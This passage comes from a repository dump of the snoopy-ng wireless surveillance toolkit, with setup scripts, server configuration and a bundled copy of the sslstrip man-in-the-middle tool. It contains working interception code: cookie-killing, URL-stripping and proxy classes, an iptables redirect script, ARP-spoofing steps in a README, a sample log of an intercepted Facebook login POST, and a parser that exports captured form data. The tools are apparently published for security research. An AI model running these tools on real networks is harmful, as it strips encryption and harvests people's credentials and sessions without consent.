sa.Column('network_rcvd',sa.Float() ), 85 | sa.Column('network_sent',sa.Float() ), 86 | sa.Column('uptime',sa.String(15)), 87 | sa.Column('used_cpu',sa.Float() ), 88 | sa.Column('used_disk',sa.Float() ), 89 | sa.Column('used_mem',sa.Float() ), 90 | sa.Column('sunc', sa.Integer, default=0)) 91 | 92 | table_bpids = sa.Table('sys_bpids',metadata, 93 | #sa.Column('drone', sa.String(length=20), primary_key=True), 94 | sa.Column('timestamp', sa.Integer, primary_key=True, autoincrement=False), 95 | sa.Column('cpu',sa.Float() ), 96 | sa.Column('mem',sa.Float() ), 97 | sa.Column('name',sa.String(length=20) ), 98 | sa.Column('pid',sa.Integer ), 99 | sa.Column('sunc', sa.Integer, default=0)) 100 | 101 | return [table_global,table_bpids] 102 | 103 | 104 | if __name__ == "__main__": 105 | Snoop().start() 106 | -------------------------------------------------------------------------------- /scripts/install_rpi.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin 2 | 3 | # Install script for fresh Kali Linux (1.0.7) install on Raspberry Pi 4 | 5 | # Change SSH host keys 6 | rm /etc/ssh/ssh_host_* 7 | dpkg-reconfigure openssh-server 8 | service ssh restart 9 | 10 | # Install git 11 | apt-get update && apt-get install -y ntp libxml2-dev libxslt-dev pyrit 12 | 13 | # Downlaod snoopy-ng from https://github.com/sensepost/snoopy-ng 14 | git clone https://github.com/sensepost/snoopy-ng.git 15 | 16 | # Install snoopy via insall.sh 17 | (cd snoopy-ng && bash ./install.sh) 18 | -------------------------------------------------------------------------------- /setup/README_BBONE.txt: -------------------------------------------------------------------------------- 1 | 2 | BeagleBone Setup: 3 | 4 | 1. Install base Ubuntu Image on an SD card: 5 | wget http://s3.armhf.com/debian/precise/bone/ubuntu-precise-12.04.2-armhf-3.8.13-bone20.img.xz 6 | xz -cd ubuntu-precise-12.04.2-armhf-3.8.13-bone20.img.xz > /dev/sd_YOUR_SD_CARD 7 | 8 | 2. Insert SD card to device, SSH in (ubuntu:ubuntu), and place files in this folder: 9 | /home/ubuntu/snoopy_ng/ 10 | 11 | If you wish to put them elsewhere, make sure you edit ./setup/upstarts/*.conf to relfect 12 | the new location of ./setup/upstarts/SETTINGS 13 | 14 | 3. Go through INSTALL.sh. I'd recommend manually running these commands to watch out for errors. 15 | 16 | 4. Copy the autostart scripts: 17 | cp /home/ubuntu/snoopy_ng/setup/upstarts/*.conf /etc/init/ 18 | 19 | -------------------------------------------------------------------------------- /setup/apache/README.md: -------------------------------------------------------------------------------- 1 | These instructions were tested against Ubuntu 12/14 LTS. 2 | 3 | All commands need to be ran as root or via sudo. 4 | 5 | 1. Install Apache 6 | ================= 7 | 8 | Run the following commands in the terminal: 9 | 10 | ```bash 11 | apt-get install -y apache2 libapache2-mod-wsgi 12 | a2enmod ssl 13 | a2enmod env 14 | service apache2 restart 15 | ``` 16 | 17 | Enable the required custom port (9001 or another): 18 | 19 | ```bash 20 | nano /etc/apache2/ports.conf 21 | ``` 22 | 23 | Add the following line right under "Listen 80": 24 | 25 | ``` 26 | Listen 9001 27 | ``` 28 | 29 | 2. Obtain SSL Certificate 30 | ========================= 31 | 32 | Obtain a commercial SSL cert or generate a self-signed one. Beware, the latter leaves the data syncing by drones more prone to MitM attacks. 33 | 34 | A self-signed cert can be generated using: 35 | 36 | ```bash 37 | mkdir /etc/apache2/ssl 38 | openssl req -x509 -nodes -days 1000 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt 39 | ``` 40 | 41 | 3. Enable snoopy-ng Server 42 | ========================== 43 | 44 | Create a symlink to the WSGI script: 45 | 46 | ```bash 47 | mkdir /var/www/snoopy 48 | cd [SNOOPY_CHECKOUT_DIR] 49 | ln -s $PWD/setup/apache/snoopy.wsgi /var/www/snoopy/snoopy.wsgi 50 | mkdir /var/www/.pyrit 51 | chown www-data:www-data /var/www/.pyrit/ 52 | ``` 53 | 54 | Create a configuration file from template: 55 | 56 | ```bash 57 | cd [SNOOPY_CHECKOUT_DIR] 58 | cp ./setup/apache/snoopy.conf.tpl /etc/apache2/sites-available/snoopy.conf 59 | ln -s /etc/apache2/sites-available/snoopy.conf /etc/apache2/sites-enabled/snoopy.conf 60 | ``` 61 | 62 | Open /etc/apache2/sites-enabled/snoopy.conf in your editor of choice and updated the variable placeholders to reflect your specific circumstances. Specifically, look at the following: 63 | 64 | * [SQL_ALCHEMY_DBMS] - the DB connection string (refer to main README) 65 | * [IP_OR_FQDN] - the IP address or FQDN of the server 66 | * [PATH_TO_SSL_CERT_CHAIN.crt] - path to the cert chain file (optional) 67 | * /etc/apache2/ssl/apache.crt - path to the certificate file (optional) 68 | * /etc/apache2/ssl/apache.key - path to the certificate key file (optional) 69 | 70 | Once updated, apply the config: 71 | 72 | ```bash 73 | a2ensite snoopy 74 | service apache2 restart 75 | ``` 76 | 77 | Don't forget to check for any blocking firewall rules if you can't get to the syncing agent. 78 | -------------------------------------------------------------------------------- /setup/apache/snoopy.conf.tpl: -------------------------------------------------------------------------------- 1 | 2 | SetEnv SNOOPY_DBMS [SQL_ALCHEMY_DBMS] 3 | # Remove the below line if unsure 4 | ServerName [IP_OR_FQDN] 5 | 6 | SSLEngine On 7 | SSLCertificateFile /etc/apache2/ssl/apache.crt 8 | SSLCertificateKeyFile /etc/apache2/ssl/apache.key 9 | # The below line is not required for self-signed certs 10 | # SSLCertificateChainFile [PATH_TO_SSL_CERT_CHAIN.crt] 11 | 12 | WSGIDaemonProcess snoopy user=www-data group=www-data threads=5 13 | WSGIScriptAlias / /var/www/snoopy/snoopy.wsgi 14 | WSGIPassAuthorization On 15 | 16 | 17 | WSGIProcessGroup snoopy 18 | WSGIApplicationGroup %{GLOBAL} 19 | Order deny,allow 20 | Allow from all 21 | 22 | 23 | -------------------------------------------------------------------------------- /setup/apache/snoopy.wsgi: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | sys.path.insert(0, os.path.realpath(os.path.realpath(__file__) + "/../../../")) 5 | 6 | def application(environ, start_response): 7 | from includes.webserver import prep, app 8 | prep(environ['SNOOPY_DBMS']) 9 | os.environ['SNOOPY_SERVER'] = 'apache' 10 | return app(environ, start_response) 11 | -------------------------------------------------------------------------------- /setup/cron/rebooter: -------------------------------------------------------------------------------- 1 | # Reboot every day at 3am 2 | # Place me in /etc/cron.d/ 3 | 01 03 * * * root /sbin/reboot 4 | -------------------------------------------------------------------------------- /setup/ntp.conf: -------------------------------------------------------------------------------- 1 | # ntp config file packaged for Snoopy 2 | 3 | # Copy this file to /etc/ 4 | # Make sure ntp and gpsd and installed: 5 | # apt-get install ntp 6 | # apt-get install gpsd 7 | # apt-get install gpsd-clients 8 | # service ntp restart 9 | 10 | # Query gpsd with gpsmon 11 | # Query ntp with 'ntpq -p' 12 | 13 | # /etc/ntp.conf, configuration for ntpd; see ntp.conf(5) for help 14 | 15 | driftfile /var/lib/ntp/ntp.drift 16 | 17 | statistics loopstats peerstats clockstats 18 | filegen loopstats file loopstats type day enable 19 | filegen peerstats file peerstats type day enable 20 | filegen clockstats file clockstats type day enable 21 | 22 | # Get daetime via GPS (gpsd process) 23 | server 127.127.28.0 minpoll 4 maxpoll 4 24 | fudge 127.127.28.0 time1 0.420 refid GPS 25 | 26 | server 127.127.28.1 minpoll 4 maxpoll 4 prefer 27 | fudge 127.127.28.1 refid GPS1 28 | 29 | # Or via an NTP server if we have internet 30 | server 0.debian.pool.ntp.org iburst 31 | server 1.debian.pool.ntp.org iburst 32 | server 2.debian.pool.ntp.org iburst 33 | server 3.debian.pool.ntp.org iburst 34 | 35 | restrict -4 default kod notrap nomodify nopeer noquery 36 | restrict -6 default kod notrap nomodify nopeer noquery 37 | 38 | restrict 127.0.0.1 39 | restrict ::1 40 | -------------------------------------------------------------------------------- /setup/rc.local: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | # 3 | # This /etc/rc.local file can specify Snoopy and related commands 4 | # to run on boot on systems that don't support upstart (e.g. Kali) 5 | # Logged output will appear in /var/log/syslog 6 | 7 | # WARNING: 8 | # Ensure any blocking commands end with '&' or the system will not boot 9 | 10 | # Start SSH server: 11 | service ssh start 12 | 13 | # Bring up 3G modem. 14 | sakis3g --sudo connect APN=epc.tmobile.com APN_USER=epc APN_PASS=epc USBINTERFACE="0" | logger -t sakis_snoopy & 15 | 16 | # Capture local only data 17 | sudo snoopy -d myDrone -l somePlace -m wifi:mon=True |logger -t logs_snoopy & 18 | 19 | # Or, capture data and sycn to remote server. Set your own paramters, then uncomment. 20 | # sudo snoopy -d myDrone -l somePlace -m wifi:mon=True -k -s http://:9001/ | logger -t logs_snoopy & 21 | 22 | exit 0 23 | -------------------------------------------------------------------------------- /setup/scapy-latest-snoopy_patch.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/setup/scapy-latest-snoopy_patch.tar.gz -------------------------------------------------------------------------------- /setup/sn.txt: -------------------------------------------------------------------------------- 1 | +---------------------------------------------------------------+ 2 | | SensePost Snoopy 2.0 // 2013 | 3 | | | 4 | | __---__ ______ | 5 | | / ___\_ o O O _( )__ | 6 | | /====(_____\___---_ o _( )_ | 7 | | | \ (_ Hack the ) | 8 | | | |@ (_ Planet! _)| 9 | | \ ___ / (__ __) | 10 | | \ __----____--_\____(____\_____/ (______) | 11 | | ==|__----____--______| | 12 | | / / \____/)_ | 13 | | / ______) | 14 | | / | | | 15 | | | _| | | 16 | | ______\______________|______ | 17 | | / * * \ | 18 | | /_____________*____*___________\ | 19 | | / * * \ | 20 | | /________________________________\ | 21 | | / * \ | 22 | | /__________________________________\ | 23 | | | | | 24 | | |________________________| | 25 | | | | | 26 | | |________________________| | 27 | | | 28 | | http://www.sensepost.com/research | 29 | | research@sensepost.com | 30 | +---------------------------------------------------------------+ 31 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/FOO: -------------------------------------------------------------------------------- 1 | 2012-09-28 12:19:37,197 Client:192.168.42.1 SECURE POST Data (www.facebook.com) URL(/login.php?login_attempt=1)URL: 2 | lsd=AVq2GjAm&email=hey&pass=there&default_persistent=0&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&timezone=-120&lgnrnd=041930_KA5q&lgnjs=1348831172&locale=en_US 3 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/README: -------------------------------------------------------------------------------- 1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 2 | attacks. 3 | 4 | It requires Python 2.5 or newer, along with the 'twisted' python module. 5 | 6 | Installing: 7 | * Unpack: tar zxvf sslstrip-0.5.tar.gz 8 | * Install twisted: sudo apt-get install python-twisted-web 9 | * (Optionally) run 'python setup.py install' as root to install, 10 | or you can just run it out of the directory. 11 | 12 | Running: 13 | sslstrip can be run from the source base without installation. 14 | Just run 'python sslstrip.py -h' as a non-root user to get the 15 | command-line options. 16 | 17 | The four steps to getting this working (assuming you're running Linux) 18 | are: 19 | 20 | 1) Flip your machine into forwarding mode (as root): 21 | echo "1" > /proc/sys/net/ipv4/ip_forward 22 | 23 | 2) Setup iptables to intercept HTTP requests (as root): 24 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 25 | 26 | 3) Run sslstrip with the command-line options you'd like (see above). 27 | 28 | 4) Run arpspoof to redirect traffic to your machine (as root): 29 | arpspoof -i -t 30 | 31 | More Info: 32 | http://www.thoughtcrime.org/software/sslstrip/ 33 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/setup/sslstripSnoopy/__init__.py -------------------------------------------------------------------------------- /setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Client:%s Server connection failed." % (self.client.getClientIP())) 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Client:%s Retrying via SSL" % (self.client.getClientIP())) 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import re 20 | 21 | class URLMonitor: 22 | 23 | ''' 24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 25 | server is expecting over SSL. It also keeps track of secure favicon urls. 26 | ''' 27 | 28 | # Start the arms race, and end up here... 29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 30 | _instance = None 31 | 32 | def __init__(self): 33 | self.strippedURLs = set() 34 | self.strippedURLPorts = {} 35 | self.faviconReplacement = False 36 | 37 | def isSecureLink(self, client, url): 38 | for expression in URLMonitor.javascriptTrickery: 39 | if (re.match(expression, url)): 40 | return True 41 | 42 | return (client,url) in self.strippedURLs 43 | 44 | def getSecurePort(self, client, url): 45 | if (client,url) in self.strippedURLs: 46 | return self.strippedURLPorts[(client,url)] 47 | else: 48 | return 443 49 | 50 | def addSecureLink(self, client, url): 51 | methodIndex = url.find("//") + 2 52 | method = url[0:methodIndex] 53 | 54 | pathIndex = url.find("/", methodIndex) 55 | host = url[methodIndex:pathIndex] 56 | path = url[pathIndex:] 57 | 58 | port = 443 59 | portIndex = host.find(":") 60 | 61 | if (portIndex != -1): 62 | host = host[0:portIndex] 63 | port = host[portIndex+1:] 64 | if len(port) == 0: 65 | port = 443 66 | 67 | url = method + host + path 68 | 69 | self.strippedURLs.add((client, url)) 70 | self.strippedURLPorts[(client, url)] = int(port) 71 | 72 | def setFaviconSpoofing(self, faviconSpoofing): 73 | self.faviconSpoofing = faviconSpoofing 74 | 75 | def isFaviconSpoofing(self): 76 | return self.faviconSpoofing 77 | 78 | def isSecureFavicon(self, client, url): 79 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 80 | 81 | def getInstance(): 82 | if URLMonitor._instance == None: 83 | URLMonitor._instance = URLMonitor() 84 | 85 | return URLMonitor._instance 86 | 87 | getInstance = staticmethod(getInstance) 88 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/__init__.py -------------------------------------------------------------------------------- /setup/sslstripSnoopy/build/scripts-2.7/sslstrip: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike" 6 | __email__ = "moxie@thoughtcrime.org" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Usage: sslstrip \n" 41 | print "Options:" 42 | print "-w , --write= Specify file to log to (optional)." 43 | print "-p , --post Log only SSL POSTs. (default)" 44 | print "-s , --ssl Log all SSL traffic to and from server." 45 | print "-a , --all Log all SSL and HTTP traffic to and from server." 46 | print "-l , --listen= Port to listen on (default 10000)." 47 | print "-f , --favicon Substitute a lock favicon on secure requests." 48 | print "-k , --killsessions Kill sessions in progress." 49 | print "-h Print this help message." 50 | print "" 51 | 52 | def parseOptions(argv): 53 | logFile = 'sslstrip.log' 54 | logLevel = logging.WARNING 55 | listenPort = 10000 56 | spoofFavicon = False 57 | killSessions = False 58 | 59 | try: 60 | opts, args = getopt.getopt(argv, "hw:l:psafk", 61 | ["help", "write=", "post", "ssl", "all", "listen=", 62 | "favicon", "killsessions"]) 63 | 64 | for opt, arg in opts: 65 | if opt in ("-h", "--help"): 66 | usage() 67 | sys.exit() 68 | elif opt in ("-w", "--write"): 69 | logFile = arg 70 | elif opt in ("-p", "--post"): 71 | logLevel = logging.WARNING 72 | elif opt in ("-s", "--ssl"): 73 | logLevel = logging.INFO 74 | elif opt in ("-a", "--all"): 75 | logLevel = logging.DEBUG 76 | elif opt in ("-l", "--listen"): 77 | listenPort = arg 78 | elif opt in ("-f", "--favicon"): 79 | spoofFavicon = True 80 | elif opt in ("-k", "--killsessions"): 81 | killSessions = True 82 | 83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 84 | 85 | except getopt.GetoptError: 86 | usage() 87 | sys.exit(2) 88 | 89 | def main(argv): 90 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 91 | 92 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 93 | filename=logFile, filemode='w') 94 | 95 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 96 | CookieCleaner.getInstance().setEnabled(killSessions) 97 | 98 | strippingFactory = http.HTTPFactory(timeout=10) 99 | strippingFactory.protocol = StrippingProxy 100 | 101 | reactor.listenTCP(int(listenPort), strippingFactory) 102 | 103 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 104 | 105 | reactor.run() 106 | 107 | if __name__ == '__main__': 108 | main(sys.argv[1:]) 109 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/iptables.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo 1 > /proc/sys/net/ipv4/ip_forward 4 | 5 | iptables -P INPUT ACCEPT 6 | iptables -P OUTPUT ACCEPT 7 | iptables -P FORWARD ACCEPT 8 | iptables -F INPUT 9 | iptables -F OUTPUT 10 | iptables -F FORWARD 11 | 12 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 13 | iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 14 | 15 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/jstripper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # ---------------------------------------------- 3 | # Junaid Loonat (junaid@sensepost.com) 4 | # JStripper - Parser for modified SSLStrip logs 5 | # ---------------------------------------------- 6 | # How to import a CSV into a MySQL database: 7 | # http://www.tech-recipes.com/rx/2345/import_csv_file_directly_into_mysql/ 8 | # ---------------------------------------------- 9 | 10 | import os 11 | import sys 12 | import time 13 | import base64 14 | import urllib 15 | import csv 16 | import re 17 | 18 | def usage(): 19 | print 'Usage: jstripper.py file' 20 | 21 | def processEntry(entry): 22 | print 'processEntry %s' % entry 23 | exportFile.writerow([ 24 | entry['timestamp'], 25 | entry['src_ip'], 26 | entry['domain'], 27 | entry['url'], 28 | entry['secure'], 29 | entry['post'] 30 | ]) 31 | 32 | if __name__ == '__main__': 33 | if len(sys.argv) != 2: 34 | usage() 35 | sys.exit() 36 | logFilePath = sys.argv[1] 37 | if not os.path.exists(logFilePath): 38 | print 'Specified log file does not exist: %s' % logFilePath 39 | elif not os.path.isfile(logFilePath): 40 | print 'Specified log file does not appear to be a file: %s' % logFilePath 41 | else: 42 | exportFilePath = '%s%s' % (logFilePath, '.export') 43 | print 'Export file will be: %s' % exportFilePath 44 | if os.path.exists(exportFilePath): 45 | print 'Removing existing export file: %s' % exportFilePath 46 | os.remove(exportFilePath) 47 | exportFile = csv.writer(open(exportFilePath, 'wb'), delimiter=',', quotechar='"', quoting=csv.QUOTE_ALL) 48 | exportFile.writerow(['timestamp', 'src_ip', 'domain', 'url', 'secure', 'post']) 49 | 50 | logFile = open(logFilePath, 'r') 51 | isEntry = False 52 | anEntry = {} 53 | for aLine in logFile: 54 | if aLine.startswith('2012-') and aLine.find(' Client:') > -1: 55 | if isEntry: 56 | processEntry(anEntry) 57 | isEntry = False 58 | 59 | if aLine.find(' POST Data (') > -1: 60 | isEntry = True 61 | anEntry = {} 62 | anEntry['timestamp'] = aLine[:aLine.find(',')] 63 | anEntry['secure'] = 0 64 | anEntry['post'] = '' 65 | if aLine.find('SECURE POST Data (') > -1: 66 | anEntry['secure'] = 1 67 | 68 | tStart = aLine.find(' POST Data (') + 12 69 | anEntry['domain'] = aLine[tStart:aLine.find(')', tStart)] 70 | 71 | tStart = aLine.find(' Client:') + 8 72 | anEntry['src_ip'] = aLine[tStart:aLine.find(' ', tStart)] 73 | 74 | tStart = aLine.find(' URL(') + 8 75 | anEntry['url'] = aLine[tStart:aLine.find(')URL', tStart)] 76 | 77 | elif isEntry: 78 | anEntry['post'] = '%s%s' % (anEntry['post'], urllib.unquote_plus(aLine.strip())) 79 | 80 | if isEntry: 81 | processEntry(anEntry) 82 | 83 | 84 | logFile.close() 85 | 86 | 87 | 88 | 89 | print 'done' 90 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/lock.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/setup/sslstripSnoopy/lock.ico -------------------------------------------------------------------------------- /setup/sslstripSnoopy/setup.py: -------------------------------------------------------------------------------- 1 | import sys, os, shutil 2 | from distutils.core import setup, Extension 3 | 4 | 5 | shutil.copyfile("sslstrip.py", 